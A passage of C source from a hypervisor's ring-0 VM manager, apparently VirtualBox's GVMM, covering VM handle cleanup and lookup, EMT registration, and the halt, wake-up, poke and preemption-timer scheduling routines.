fFreeMappings */); AssertRC(rc); pGVM->gvmm.s.VMPagesMemObj = NIL_RTR0MEMOBJ; } if (pGVM->gvmm.s.VMMemObj != NIL_RTR0MEMOBJ) { rc = RTR0MemObjFree(pGVM->gvmm.s.VMMemObj, false /* fFreeMappings */); AssertRC(rc); pGVM->gvmm.s.VMMemObj = NIL_RTR0MEMOBJ; } for (VMCPUID i = 0; i < pGVM->cCpus; i++) { if (pGVM->aCpus[i].gvmm.s.HaltEventMulti != NIL_RTSEMEVENTMULTI) { rc = RTSemEventMultiDestroy(pGVM->aCpus[i].gvmm.s.HaltEventMulti); AssertRC(rc); pGVM->aCpus[i].gvmm.s.HaltEventMulti = NIL_RTSEMEVENTMULTI; } } /* the GVM structure itself. */ pGVM->u32Magic |= UINT32_C(0x80000000); RTMemFree(pGVM); /* Re-acquire the UsedLock before freeing the handle since we're updating handle fields. */ rc = gvmmR0UsedLock(pGVMM); AssertRC(rc); } /* else: GVMMR0CreateVM cleanup. */ /* * Free the handle. */ pHandle->iNext = pGVMM->iFreeHead; pGVMM->iFreeHead = iHandle; ASMAtomicWriteNullPtr(&pHandle->pGVM); ASMAtomicWriteNullPtr(&pHandle->pVM); ASMAtomicWriteNullPtr(&pHandle->pvObj); ASMAtomicWriteNullPtr(&pHandle->pSession); ASMAtomicWriteHandle(&pHandle->hEMT0, NIL_RTNATIVETHREAD); ASMAtomicWriteSize(&pHandle->ProcId, NIL_RTPROCESS); gvmmR0UsedUnlock(pGVMM); gvmmR0CreateDestroyUnlock(pGVMM); LogFlow(("gvmmR0HandleObjDestructor: returns\n")); } /** * Registers the calling thread as the EMT of a Virtual CPU. * * Note that VCPU 0 is automatically registered during VM creation. * * @returns VBox status code * @param pVM The shared VM structure (the ring-0 mapping). * @param idCpu VCPU id. */ GVMMR0DECL(int) GVMMR0RegisterVCpu(PVM pVM, VMCPUID idCpu) { AssertReturn(idCpu != 0, VERR_NOT_OWNER); /* * Validate the VM structure, state and handle. */ PGVM pGVM; PGVMM pGVMM; int rc = gvmmR0ByVM(pVM, &pGVM, &pGVMM, false /* fTakeUsedLock */); if (RT_FAILURE(rc)) return rc; AssertReturn(idCpu < pGVM->cCpus, VERR_INVALID_CPU_ID); AssertReturn(pGVM->aCpus[idCpu].hEMT == NIL_RTNATIVETHREAD, VERR_ACCESS_DENIED); Assert(pGVM->cCpus == pVM->cCpus); Assert(pVM->aCpus[idCpu].hNativeThreadR0 == NIL_RTNATIVETHREAD); pVM->aCpus[idCpu].hNativeThreadR0 = pGVM->aCpus[idCpu].hEMT = RTThreadNativeSelf(); return VINF_SUCCESS; } /** * Lookup a GVM structure by its handle. * * @returns The GVM pointer on success, NULL on failure. * @param hGVM The global VM handle. Asserts on bad handle. */ GVMMR0DECL(PGVM) GVMMR0ByHandle(uint32_t hGVM) { PGVMM pGVMM; GVMM_GET_VALID_INSTANCE(pGVMM, NULL); /* * Validate. */ AssertReturn(hGVM != NIL_GVM_HANDLE, NULL); AssertReturn(hGVM < RT_ELEMENTS(pGVMM->aHandles), NULL); /* * Look it up. */ PGVMHANDLE pHandle = &pGVMM->aHandles[hGVM]; AssertPtrReturn(pHandle->pVM, NULL); AssertPtrReturn(pHandle->pvObj, NULL); PGVM pGVM = pHandle->pGVM; AssertPtrReturn(pGVM, NULL); AssertReturn(pGVM->pVM == pHandle->pVM, NULL); return pHandle->pGVM; } /** * Lookup a GVM structure by the shared VM structure. * * The calling thread must be in the same process as the VM. All current lookups * are by threads inside the same process, so this will not be an issue. * * @returns VBox status code. * @param pVM The shared VM structure (the ring-0 mapping). * @param ppGVM Where to store the GVM pointer. * @param ppGVMM Where to store the pointer to the GVMM instance data. * @param fTakeUsedLock Whether to take the used lock or not. * Be very careful if not taking the lock as it's possible that * the VM will disappear then. * * @remark This will not assert on an invalid pVM but try return silently. */ static int gvmmR0ByVM(PVM pVM, PGVM *ppGVM, PGVMM *ppGVMM, bool fTakeUsedLock) { RTPROCESS ProcId = RTProcSelf(); PGVMM pGVMM; GVMM_GET_VALID_INSTANCE(pGVMM, VERR_INTERNAL_ERROR); /* * Validate. */ if (RT_UNLIKELY( !VALID_PTR(pVM) || ((uintptr_t)pVM & PAGE_OFFSET_MASK))) return VERR_INVALID_POINTER; if (RT_UNLIKELY( pVM->enmVMState < VMSTATE_CREATING || pVM->enmVMState >= VMSTATE_TERMINATED)) return VERR_INVALID_POINTER; uint16_t hGVM = pVM->hSelf; if (RT_UNLIKELY( hGVM == NIL_GVM_HANDLE || hGVM >= RT_ELEMENTS(pGVMM->aHandles))) return VERR_INVALID_HANDLE; /* * Look it up. */ PGVMHANDLE pHandle = &pGVMM->aHandles[hGVM]; PGVM pGVM; if (fTakeUsedLock) { int rc = gvmmR0UsedLock(pGVMM); AssertRCReturn(rc, rc); pGVM = pHandle->pGVM; if (RT_UNLIKELY( pHandle->pVM != pVM || pHandle->ProcId != ProcId || !VALID_PTR(pHandle->pvObj) || !VALID_PTR(pGVM) || pGVM->pVM != pVM)) { gvmmR0UsedUnlock(pGVMM); return VERR_INVALID_HANDLE; } } else { if (RT_UNLIKELY(pHandle->pVM != pVM)) return VERR_INVALID_HANDLE; if (RT_UNLIKELY(pHandle->ProcId != ProcId)) return VERR_INVALID_HANDLE; if (RT_UNLIKELY(!VALID_PTR(pHandle->pvObj))) return VERR_INVALID_HANDLE; pGVM = pHandle->pGVM; if (RT_UNLIKELY(!VALID_PTR(pGVM))) return VERR_INVALID_HANDLE; if (RT_UNLIKELY(pGVM->pVM != pVM)) return VERR_INVALID_HANDLE; } *ppGVM = pGVM; *ppGVMM = pGVMM; return VINF_SUCCESS; } /** * Lookup a GVM structure by the shared VM structure. * * @returns VBox status code. * @param pVM The shared VM structure (the ring-0 mapping). * @param ppGVM Where to store the GVM pointer. * * @remark This will not take the 'used'-lock because it doesn't do * nesting and this function will be used from under the lock. */ GVMMR0DECL(int) GVMMR0ByVM(PVM pVM, PGVM *ppGVM) { PGVMM pGVMM; return gvmmR0ByVM(pVM, ppGVM, &pGVMM, false /* fTakeUsedLock */); } /** * Lookup a GVM structure by the shared VM structure and ensuring that the * caller is an EMT thread. * * @returns VBox status code. * @param pVM The shared VM structure (the ring-0 mapping). * @param idCpu The Virtual CPU ID of the calling EMT. * @param ppGVM Where to store the GVM pointer. * @param ppGVMM Where to store the pointer to the GVMM instance data. * @thread EMT * * @remark This will assert in all failure paths. */ static int gvmmR0ByVMAndEMT(PVM pVM, VMCPUID idCpu, PGVM *ppGVM, PGVMM *ppGVMM) { PGVMM pGVMM; GVMM_GET_VALID_INSTANCE(pGVMM, VERR_INTERNAL_ERROR); /* * Validate. */ AssertPtrReturn(pVM, VERR_INVALID_POINTER); AssertReturn(!((uintptr_t)pVM & PAGE_OFFSET_MASK), VERR_INVALID_POINTER); uint16_t hGVM = pVM->hSelf; AssertReturn(hGVM != NIL_GVM_HANDLE, VERR_INVALID_HANDLE); AssertReturn(hGVM < RT_ELEMENTS(pGVMM->aHandles), VERR_INVALID_HANDLE); /* * Look it up. */ PGVMHANDLE pHandle = &pGVMM->aHandles[hGVM]; AssertReturn(pHandle->pVM == pVM, VERR_NOT_OWNER); RTPROCESS ProcId = RTProcSelf(); AssertReturn(pHandle->ProcId == ProcId, VERR_NOT_OWNER); AssertPtrReturn(pHandle->pvObj, VERR_INTERNAL_ERROR); PGVM pGVM = pHandle->pGVM; AssertPtrReturn(pGVM, VERR_INTERNAL_ERROR); AssertReturn(pGVM->pVM == pVM, VERR_INTERNAL_ERROR); RTNATIVETHREAD hAllegedEMT = RTThreadNativeSelf(); AssertReturn(idCpu < pGVM->cCpus, VERR_INVALID_CPU_ID); AssertReturn(pGVM->aCpus[idCpu].hEMT == hAllegedEMT, VERR_INTERNAL_ERROR); *ppGVM = pGVM; *ppGVMM = pGVMM; return VINF_SUCCESS; } /** * Lookup a GVM structure by the shared VM structure * and ensuring that the caller is the EMT thread. * * @returns VBox status code. * @param pVM The shared VM structure (the ring-0 mapping). * @param idCpu The Virtual CPU ID of the calling EMT. * @param ppGVM Where to store the GVM pointer. * @thread EMT */ GVMMR0DECL(int) GVMMR0ByVMAndEMT(PVM pVM, VMCPUID idCpu, PGVM *ppGVM) { AssertPtrReturn(ppGVM, VERR_INVALID_POINTER); PGVMM pGVMM; return gvmmR0ByVMAndEMT(pVM, idCpu, ppGVM, &pGVMM); } /** * Lookup a VM by its global handle. * * @returns The VM handle on success, NULL on failure. * @param hGVM The global VM handle. Asserts on bad handle. */ GVMMR0DECL(PVM) GVMMR0GetVMByHandle(uint32_t hGVM) { PGVM pGVM = GVMMR0ByHandle(hGVM); return pGVM ? pGVM->pVM : NULL; } /** * Looks up the VM belonging to the specified EMT thread. * * This is used by the assertion machinery in VMMR0.cpp to avoid causing * unnecessary kernel panics when the EMT thread hits an assertion. The * call may or not be an EMT thread. * * @returns The VM handle on success, NULL on failure. * @param hEMT The native thread handle of the EMT. * NIL_RTNATIVETHREAD means the current thread */ GVMMR0DECL(PVM) GVMMR0GetVMByEMT(RTNATIVETHREAD hEMT) { /* * No Assertions here as we're usually called in a AssertMsgN or * RTAssert* context. */ PGVMM pGVMM = g_pGVMM; if ( !VALID_PTR(pGVMM) || pGVMM->u32Magic != GVMM_MAGIC) return NULL; if (hEMT == NIL_RTNATIVETHREAD) hEMT = RTThreadNativeSelf(); RTPROCESS ProcId = RTProcSelf(); /* * Search the handles in a linear fashion as we don't dare to take the lock (assert). */ for (unsigned i = 1; i < RT_ELEMENTS(pGVMM->aHandles); i++) { if ( pGVMM->aHandles[i].iSelf == i && pGVMM->aHandles[i].ProcId == ProcId && VALID_PTR(pGVMM->aHandles[i].pvObj) && VALID_PTR(pGVMM->aHandles[i].pVM) && VALID_PTR(pGVMM->aHandles[i].pGVM)) { if (pGVMM->aHandles[i].hEMT0 == hEMT) return pGVMM->aHandles[i].pVM; /* This is fearly safe with the current process per VM approach. */ PGVM pGVM = pGVMM->aHandles[i].pGVM; VMCPUID const cCpus = pGVM->cCpus; if ( cCpus < 1 || cCpus > VMM_MAX_CPU_COUNT) continue; for (VMCPUID idCpu = 1; idCpu < cCpus; idCpu++) if (pGVM->aCpus[idCpu].hEMT == hEMT) return pGVMM->aHandles[i].pVM; } } return NULL; } /** * This is will wake up expired and soon-to-be expired VMs. * * @returns Number of VMs that has been woken up. * @param pGVMM Pointer to the GVMM instance data. * @param u64Now The current time. */ static unsigned gvmmR0SchedDoWakeUps(PGVMM pGVMM, uint64_t u64Now) { /* * Skip this if we've got disabled because of high resolution wakeups or by * the user. */ if ( !pGVMM->nsEarlyWakeUp1 && !pGVMM->nsEarlyWakeUp2) return 0; /** @todo Rewrite this algorithm. See performance defect XYZ. */ /* * A cheap optimization to stop wasting so much time here on big setups. */ const uint64_t uNsEarlyWakeUp2 = u64Now + pGVMM->nsEarlyWakeUp2; if ( pGVMM->cHaltedEMTs == 0 || uNsEarlyWakeUp2 > pGVMM->uNsNextEmtWakeup) return 0; /* * The first pass will wake up VMs which have actually expired * and look for VMs that should be woken up in the 2nd and 3rd passes. */ const uint64_t uNsEarlyWakeUp1 = u64Now + pGVMM->nsEarlyWakeUp1; uint64_t u64Min = UINT64_MAX; unsigned cWoken = 0; unsigned cHalted = 0; unsigned cTodo2nd = 0; unsigned cTodo3rd = 0; for (unsigned i = pGVMM->iUsedHead, cGuard = 0; i != NIL_GVM_HANDLE && i < RT_ELEMENTS(pGVMM->aHandles); i = pGVMM->aHandles[i].iNext) { PGVM pCurGVM = pGVMM->aHandles[i].pGVM; if ( VALID_PTR(pCurGVM) && pCurGVM->u32Magic == GVM_MAGIC) { for (VMCPUID idCpu = 0; idCpu < pCurGVM->cCpus; idCpu++) { PGVMCPU pCurGVCpu = &pCurGVM->aCpus[idCpu]; uint64_t u64 = ASMAtomicUoReadU64(&pCurGVCpu->gvmm.s.u64HaltExpire); if (u64) { if (u64 <= u64Now) { if (ASMAtomicXchgU64(&pCurGVCpu->gvmm.s.u64HaltExpire, 0)) { int rc = RTSemEventMultiSignal(pCurGVCpu->gvmm.s.HaltEventMulti); AssertRC(rc); cWoken++; } } else { cHalted++; if (u64 <= uNsEarlyWakeUp1) cTodo2nd++; else if (u64 <= uNsEarlyWakeUp2) cTodo3rd++; else if (u64 < u64Min) u64 = u64Min; } } } } AssertLogRelBreak(cGuard++ < RT_ELEMENTS(pGVMM->aHandles)); } if (cTodo2nd) { for (unsigned i = pGVMM->iUsedHead, cGuard = 0; i != NIL_GVM_HANDLE && i < RT_ELEMENTS(pGVMM->aHandles); i = pGVMM->aHandles[i].iNext) { PGVM pCurGVM = pGVMM->aHandles[i].pGVM; if ( VALID_PTR(pCurGVM) && pCurGVM->u32Magic == GVM_MAGIC) { for (VMCPUID idCpu = 0; idCpu < pCurGVM->cCpus; idCpu++) { PGVMCPU pCurGVCpu = &pCurGVM->aCpus[idCpu]; uint64_t u64 = ASMAtomicUoReadU64(&pCurGVCpu->gvmm.s.u64HaltExpire); if ( u64 && u64 <= uNsEarlyWakeUp1) { if (ASMAtomicXchgU64(&pCurGVCpu->gvmm.s.u64HaltExpire, 0)) { int rc = RTSemEventMultiSignal(pCurGVCpu->gvmm.s.HaltEventMulti); AssertRC(rc); cWoken++; } } } } AssertLogRelBreak(cGuard++ < RT_ELEMENTS(pGVMM->aHandles)); } } if (cTodo3rd) { for (unsigned i = pGVMM->iUsedHead, cGuard = 0; i != NIL_GVM_HANDLE && i < RT_ELEMENTS(pGVMM->aHandles); i = pGVMM->aHandles[i].iNext) { PGVM pCurGVM = pGVMM->aHandles[i].pGVM; if ( VALID_PTR(pCurGVM) && pCurGVM->u32Magic == GVM_MAGIC) { for (VMCPUID idCpu = 0; idCpu < pCurGVM->cCpus; idCpu++) { PGVMCPU pCurGVCpu = &pCurGVM->aCpus[idCpu]; uint64_t u64 = ASMAtomicUoReadU64(&pCurGVCpu->gvmm.s.u64HaltExpire); if ( u64 && u64 <= uNsEarlyWakeUp2) { if (ASMAtomicXchgU64(&pCurGVCpu->gvmm.s.u64HaltExpire, 0)) { int rc = RTSemEventMultiSignal(pCurGVCpu->gvmm.s.HaltEventMulti); AssertRC(rc); cWoken++; } } } } AssertLogRelBreak(cGuard++ < RT_ELEMENTS(pGVMM->aHandles)); } } /* * Set the minimum value. */ pGVMM->uNsNextEmtWakeup = u64Min; return cWoken; } /** * Halt the EMT thread. * * @returns VINF_SUCCESS normal wakeup (timeout or kicked by other thread). * VERR_INTERRUPTED if a signal was scheduled for the thread. * @param pVM Pointer to the shared VM structure. * @param idCpu The Virtual CPU ID of the calling EMT. * @param u64ExpireGipTime The time for the sleep to expire expressed as GIP time. * @thread EMT(idCpu). */ GVMMR0DECL(int) GVMMR0SchedHalt(PVM pVM, VMCPUID idCpu, uint64_t u64ExpireGipTime) { LogFlow(("GVMMR0SchedHalt: pVM=%p\n", pVM)); /* * Validate the VM structure, state and handle. */ PGVM pGVM; PGVMM pGVMM; int rc = gvmmR0ByVMAndEMT(pVM, idCpu, &pGVM, &pGVMM); if (RT_FAILURE(rc)) return rc; pGVM->gvmm.s.StatsSched.cHaltCalls++; PGVMCPU pCurGVCpu = &pGVM->aCpus[idCpu]; Assert(!pCurGVCpu->gvmm.s.u64HaltExpire); /* * Take the UsedList semaphore, get the current time * and check if anyone needs waking up. * Interrupts must NOT be disabled at this point because we ask for GIP time! */ rc = gvmmR0UsedLock(pGVMM); AssertRC(rc); pCurGVCpu->gvmm.s.iCpuEmt = ASMGetApicId(); /* GIP hack: We might are frequently sleeping for short intervals where the difference between GIP and system time matters on systems with high resolution system time. So, convert the input from GIP to System time in that case. */ Assert(ASMGetFlags() & X86_EFL_IF); const uint64_t u64NowSys = RTTimeSystemNanoTS(); const uint64_t u64NowGip = RTTimeNanoTS(); pGVM->gvmm.s.StatsSched.cHaltWakeUps += gvmmR0SchedDoWakeUps(pGVMM, u64NowGip); /* * Go to sleep if we must... * Cap the sleep time to 1 second to be on the safe side. */ uint64_t cNsInterval = u64ExpireGipTime - u64NowGip; if ( u64NowGip < u64ExpireGipTime && cNsInterval >= (pGVMM->cEMTs > pGVMM->cEMTsMeansCompany ? pGVMM->nsMinSleepCompany : pGVMM->nsMinSleepAlone)) { pGVM->gvmm.s.StatsSched.cHaltBlocking++; if (cNsInterval > RT_NS_1SEC) u64ExpireGipTime = u64NowGip + RT_NS_1SEC; if (u64ExpireGipTime < pGVMM->uNsNextEmtWakeup) pGVMM->uNsNextEmtWakeup = u64ExpireGipTime; ASMAtomicWriteU64(&pCurGVCpu->gvmm.s.u64HaltExpire, u64ExpireGipTime); ASMAtomicIncU32(&pGVMM->cHaltedEMTs); gvmmR0UsedUnlock(pGVMM); rc = RTSemEventMultiWaitEx(pCurGVCpu->gvmm.s.HaltEventMulti, RTSEMWAIT_FLAGS_ABSOLUTE | RTSEMWAIT_FLAGS_NANOSECS | RTSEMWAIT_FLAGS_INTERRUPTIBLE, u64NowGip > u64NowSys ? u64ExpireGipTime : u64NowSys + cNsInterval); ASMAtomicWriteU64(&pCurGVCpu->gvmm.s.u64HaltExpire, 0); ASMAtomicDecU32(&pGVMM->cHaltedEMTs); /* Reset the semaphore to try prevent a few false wake-ups. */ if (rc == VINF_SUCCESS) RTSemEventMultiReset(pCurGVCpu->gvmm.s.HaltEventMulti); else if (rc == VERR_TIMEOUT) { pGVM->gvmm.s.StatsSched.cHaltTimeouts++; rc = VINF_SUCCESS; } } else { pGVM->gvmm.s.StatsSched.cHaltNotBlocking++; gvmmR0UsedUnlock(pGVMM); RTSemEventMultiReset(pCurGVCpu->gvmm.s.HaltEventMulti); } return rc; } /** * Worker for GVMMR0SchedWakeUp and GVMMR0SchedWakeUpAndPokeCpus that wakes up * the a sleeping EMT. * * @retval VINF_SUCCESS if successfully woken up. * @retval VINF_GVM_NOT_BLOCKED if the EMT wasn't blocked. * * @param pGVM The global (ring-0) VM structure. * @param pGVCpu The global (ring-0) VCPU structure. */ DECLINLINE(int) gvmmR0SchedWakeUpOne(PGVM pGVM, PGVMCPU pGVCpu) { pGVM->gvmm.s.StatsSched.cWakeUpCalls++; /* * Signal the semaphore regardless of whether it's current blocked on it. * * The reason for this is that there is absolutely no way we can be 100% * certain that it isn't *about* go to go to sleep on it and just got * delayed a bit en route. So, we will always signal the semaphore when * the it is flagged as halted in the VMM. */ /** @todo we can optimize some of that by means of the pVCpu->enmState now. */ int rc; if (pGVCpu->gvmm.s.u64HaltExpire) { rc = VINF_SUCCESS; ASMAtomicWriteU64(&pGVCpu->gvmm.s.u64HaltExpire, 0); } else { rc = VINF_GVM_NOT_BLOCKED; pGVM->gvmm.s.StatsSched.cWakeUpNotHalted++; } int rc2 = RTSemEventMultiSignal(pGVCpu->gvmm.s.HaltEventMulti); AssertRC(rc2); return rc; } /** * Wakes up the halted EMT thread so it can service a pending request. * * @returns VBox status code. * @retval VINF_SUCCESS if successfully woken up. * @retval VINF_GVM_NOT_BLOCKED if the EMT wasn't blocked. * * @param pVM Pointer to the shared VM structure. * @param idCpu The Virtual CPU ID of the EMT to wake up. * @param fTakeUsedLock Take the used lock or not * @thread Any but EMT. */ GVMMR0DECL(int) GVMMR0SchedWakeUpEx(PVM pVM, VMCPUID idCpu, bool fTakeUsedLock) { /* * Validate input and take the UsedLock. */ PGVM pGVM; PGVMM pGVMM; int rc = gvmmR0ByVM(pVM, &pGVM, &pGVMM, fTakeUsedLock); if (RT_SUCCESS(rc)) { if (idCpu < pGVM->cCpus) { /* * Do the actual job. */ rc = gvmmR0SchedWakeUpOne(pGVM, &pGVM->aCpus[idCpu]); if (fTakeUsedLock) { /* * While we're here, do a round of scheduling. */ Assert(ASMGetFlags() & X86_EFL_IF); const uint64_t u64Now = RTTimeNanoTS(); /* (GIP time) */ pGVM->gvmm.s.StatsSched.cWakeUpWakeUps += gvmmR0SchedDoWakeUps(pGVMM, u64Now); } } else rc = VERR_INVALID_CPU_ID; if (fTakeUsedLock) { int rc2 = gvmmR0UsedUnlock(pGVMM); AssertRC(rc2); } } LogFlow(("GVMMR0SchedWakeUp: returns %Rrc\n", rc)); return rc; } /** * Wakes up the halted EMT thread so it can service a pending request. * * @returns VBox status code. * @retval VINF_SUCCESS if successfully woken up. * @retval VINF_GVM_NOT_BLOCKED if the EMT wasn't blocked. * * @param pVM Pointer to the shared VM structure. * @param idCpu The Virtual CPU ID of the EMT to wake up. * @thread Any but EMT. */ GVMMR0DECL(int) GVMMR0SchedWakeUp(PVM pVM, VMCPUID idCpu) { return GVMMR0SchedWakeUpEx(pVM, idCpu, true /* fTakeUsedLock */); } /** * Worker common to GVMMR0SchedPoke and GVMMR0SchedWakeUpAndPokeCpus that pokes * the Virtual CPU if it's still busy executing guest code. * * @returns VBox status code. * @retval VINF_SUCCESS if poked successfully. * @retval VINF_GVM_NOT_BUSY_IN_GC if the EMT wasn't busy in GC. * * @param pGVM The global (ring-0) VM structure. * @param pVCpu The Virtual CPU handle. */ DECLINLINE(int) gvmmR0SchedPokeOne(PGVM pGVM, PVMCPU pVCpu) { pGVM->gvmm.s.StatsSched.cPokeCalls++; RTCPUID idHostCpu = pVCpu->idHostCpu; if ( idHostCpu == NIL_RTCPUID || VMCPU_GET_STATE(pVCpu) != VMCPUSTATE_STARTED_EXEC) { pGVM->gvmm.s.StatsSched.cPokeNotBusy++; return VINF_GVM_NOT_BUSY_IN_GC; } /* Note: this function is not implemented on Darwin and Linux (kernel < 2.6.19) */ RTMpPokeCpu(idHostCpu); return VINF_SUCCESS; } /** * Pokes an EMT if it's still busy running guest code. * * @returns VBox status code. * @retval VINF_SUCCESS if poked successfully. * @retval VINF_GVM_NOT_BUSY_IN_GC if the EMT wasn't busy in GC. * * @param pVM Pointer to the shared VM structure. * @param idCpu The ID of the virtual CPU to poke. * @param fTakeUsedLock Take the used lock or not */ GVMMR0DECL(int) GVMMR0SchedPokeEx(PVM pVM, VMCPUID idCpu, bool fTakeUsedLock) { /* * Validate input and take the UsedLock. */ PGVM pGVM; PGVMM pGVMM; int rc = gvmmR0ByVM(pVM, &pGVM, &pGVMM, fTakeUsedLock); if (RT_SUCCESS(rc)) { if (idCpu < pGVM->cCpus) rc = gvmmR0SchedPokeOne(pGVM, &pVM->aCpus[idCpu]); else rc = VERR_INVALID_CPU_ID; if (fTakeUsedLock) { int rc2 = gvmmR0UsedUnlock(pGVMM); AssertRC(rc2); } } LogFlow(("GVMMR0SchedWakeUpAndPokeCpus: returns %Rrc\n", rc)); return rc; } /** * Pokes an EMT if it's still busy running guest code. * * @returns VBox status code. * @retval VINF_SUCCESS if poked successfully. * @retval VINF_GVM_NOT_BUSY_IN_GC if the EMT wasn't busy in GC. * * @param pVM Pointer to the shared VM structure. * @param idCpu The ID of the virtual CPU to poke. */ GVMMR0DECL(int) GVMMR0SchedPoke(PVM pVM, VMCPUID idCpu) { return GVMMR0SchedPokeEx(pVM, idCpu, true /* fTakeUsedLock */); } /** * Wakes up a set of halted EMT threads so they can service pending request. * * @returns VBox status code, no informational stuff. * * @param pVM Pointer to the shared VM structure. * @param pSleepSet The set of sleepers to wake up. * @param pPokeSet The set of CPUs to poke. */ GVMMR0DECL(int) GVMMR0SchedWakeUpAndPokeCpus(PVM pVM, PCVMCPUSET pSleepSet, PCVMCPUSET pPokeSet) { AssertPtrReturn(pSleepSet, VERR_INVALID_POINTER); AssertPtrReturn(pPokeSet, VERR_INVALID_POINTER); RTNATIVETHREAD hSelf = RTThreadNativeSelf(); /* * Validate input and take the UsedLock. */ PGVM pGVM; PGVMM pGVMM; int rc = gvmmR0ByVM(pVM, &pGVM, &pGVMM, true /* fTakeUsedLock */); if (RT_SUCCESS(rc)) { rc = VINF_SUCCESS; VMCPUID idCpu = pGVM->cCpus; while (idCpu-- > 0) { /* Don't try poke or wake up ourselves. */ if (pGVM->aCpus[idCpu].hEMT == hSelf) continue; /* just ignore errors for now. */ if (VMCPUSET_IS_PRESENT(pSleepSet, idCpu)) gvmmR0SchedWakeUpOne(pGVM, &pGVM->aCpus[idCpu]); else if (VMCPUSET_IS_PRESENT(pPokeSet, idCpu)) gvmmR0SchedPokeOne(pGVM, &pVM->aCpus[idCpu]); } int rc2 = gvmmR0UsedUnlock(pGVMM); AssertRC(rc2); } LogFlow(("GVMMR0SchedWakeUpAndPokeCpus: returns %Rrc\n", rc)); return rc; } /** * VMMR0 request wrapper for GVMMR0SchedWakeUpAndPokeCpus. * * @returns see GVMMR0SchedWakeUpAndPokeCpus. * @param pVM Pointer to the shared VM structure. * @param pReq The request packet. */ GVMMR0DECL(int) GVMMR0SchedWakeUpAndPokeCpusReq(PVM pVM, PGVMMSCHEDWAKEUPANDPOKECPUSREQ pReq) { /* * Validate input and pass it on. */ AssertPtrReturn(pReq, VERR_INVALID_POINTER); AssertMsgReturn(pReq->Hdr.cbReq == sizeof(*pReq), ("%#x != %#x\n", pReq->Hdr.cbReq, sizeof(*pReq)), VERR_INVALID_PARAMETER); return GVMMR0SchedWakeUpAndPokeCpus(pVM, &pReq->SleepSet, &pReq->PokeSet); } /** * Poll the schedule to see if someone else should get a chance to run. * * This is a bit hackish and will not work too well if the machine is * under heavy load from non-VM processes. * * @returns VINF_SUCCESS if not yielded. * VINF_GVM_YIELDED if an attempt to switch to a different VM task was made. * @param pVM Pointer to the shared VM structure. * @param idCpu The Virtual CPU ID of the calling EMT. * @param u64ExpireGipTime The time for the sleep to expire expressed as GIP time. * @param fYield Whether to yield or not. * This is for when we're spinning in the halt loop. * @thread EMT(idCpu). */ GVMMR0DECL(int) GVMMR0SchedPoll(PVM pVM, VMCPUID idCpu, bool fYield) { /* * Validate input. */ PGVM pGVM; PGVMM pGVMM; int rc = gvmmR0ByVMAndEMT(pVM, idCpu, &pGVM, &pGVMM); if (RT_SUCCESS(rc)) { rc = gvmmR0UsedLock(pGVMM); AssertRC(rc); pGVM->gvmm.s.StatsSched.cPollCalls++; Assert(ASMGetFlags() & X86_EFL_IF); const uint64_t u64Now = RTTimeNanoTS(); /* (GIP time) */ if (!fYield) pGVM->gvmm.s.StatsSched.cPollWakeUps += gvmmR0SchedDoWakeUps(pGVMM, u64Now); else { /** @todo implement this... */ rc = VERR_NOT_IMPLEMENTED; } gvmmR0UsedUnlock(pGVMM); } LogFlow(("GVMMR0SchedWakeUp: returns %Rrc\n", rc)); return rc; } #ifdef GVMM_SCHED_WITH_PPT /** * Timer callback for the periodic preemption timer. * * @param pTimer The timer handle. * @param pvUser Pointer to the per cpu structure. * @param iTick The current tick. */ static DECLCALLBACK(void) gvmmR0SchedPeriodicPreemptionTimerCallback(PRTTIMER pTimer, void *pvUser, uint64_t iTick) { PGVMMHOSTCPU pCpu = (PGVMMHOSTCPU)pvUser; /* * Termination check */ if (pCpu->u32Magic != GVMMHOSTCPU_MAGIC) return; /* * Do the house keeping. */ RTSPINLOCKTMP Tmp = RTSPINLOCKTMP_INITIALIZER; RTSpinlockAcquireNoInts(pCpu->Ppt.hSpinlock, &Tmp); if (++pCpu->Ppt.iTickHistorization >= pCpu->Ppt.cTicksHistoriziationInterval) { /* * Historicize the max frequency. */ uint32_t iHzHistory = ++pCpu->Ppt.iHzHistory % RT_ELEMENTS(pCpu->Ppt.aHzHistory); pCpu->Ppt.aHzHistory[iHzHistory] = pCpu->Ppt.uDesiredHz; pCpu->Ppt.iTickHistorization = 0; pCpu->Ppt.uDesiredHz = 0; /* * Check if the current timer frequency. */ uint32_t uHistMaxHz = 0; for (uint32_t i = 0; i < RT_ELEMENTS(pCpu->Ppt.aHzHistory); i++) if (pCpu->Ppt.aHzHistory[i] > uHistMaxHz) uHistMaxHz = pCpu->Ppt.aHzHistory[i]; if (uHistMaxHz == pCpu->Ppt.uTimerHz) RTSpinlockReleaseNoInts(pCpu->Ppt.hSpinlock, &Tmp); else if (uHistMaxHz) { /* * Reprogram it. */ pCpu->Ppt.cChanges++; pCpu->Ppt.iTickHistorization = 0; pCpu->Ppt.uTimerHz = uHistMaxHz; uint32_t const cNsInterval = RT_NS_1SEC / uHistMaxHz; pCpu->Ppt.cNsInterval = cNsInterval; if (cNsInterval < GVMMHOSTCPU_PPT_HIST_INTERVAL_NS) pCpu->Ppt.cTicksHistoriziationInterval = ( GVMMHOSTCPU_PPT_HIST_INTERVAL_NS + GVMMHOSTCPU_PPT_HIST_INTERVAL_NS / 2 - 1) / cNsInterval; else pCpu->Ppt.cTicksHistoriziationInterval = 1; RTSpinlockReleaseNoInts(pCpu->Ppt.hSpinlock, &Tmp); /*SUPR0Printf("Cpu%u: change to %u Hz / %u ns\n", pCpu->idxCpuSet, uHistMaxHz, cNsInterval);*/ RTTimerChangeInterval(pTimer, cNsInterval); } else { /* * Stop it. */ pCpu->Ppt.fStarted = false; pCpu->Ppt.uTimerHz = 0; pCpu->Ppt.cNsInterval = 0; RTSpinlockReleaseNoInts(pCpu->Ppt.hSpinlock, &Tmp); /*SUPR0Printf("Cpu%u: stopping (%u Hz)\n", pCpu->idxCpuSet, uHistMaxHz);*/ RTTimerStop(pTimer); } } else RTSpinlockReleaseNoInts(pCpu->Ppt.hSpinlock, &Tmp); } #endif /* GVMM_SCHED_WITH_PPT */ /** * Updates the periodic preemption timer for the calling CPU. * * The caller must have disabled preemption! * The caller must check that the host can do high resolution timers. * * @param pVM The VM handle. * @param idHostCpu The current host CPU id. * @param uHz The desired frequency. */ GVMMR0DECL(void) GVMMR0SchedUpdatePeriodicPreemptionTimer(PVM pVM, RTCPUID idHostCpu, uint32_t uHz) { #ifdef GVMM_SCHED_WITH_PPT Assert(!RTThreadPreemptIsEnabled(NIL_RTTHREAD)); Assert(RTTimerCanDoHighResolution()); /* * Resolve the per CPU data. */ uint32_t iCpu = RTMpCpuIdToSetIndex(idHostCpu); PGVMM pGVMM = g_pGVMM; if ( 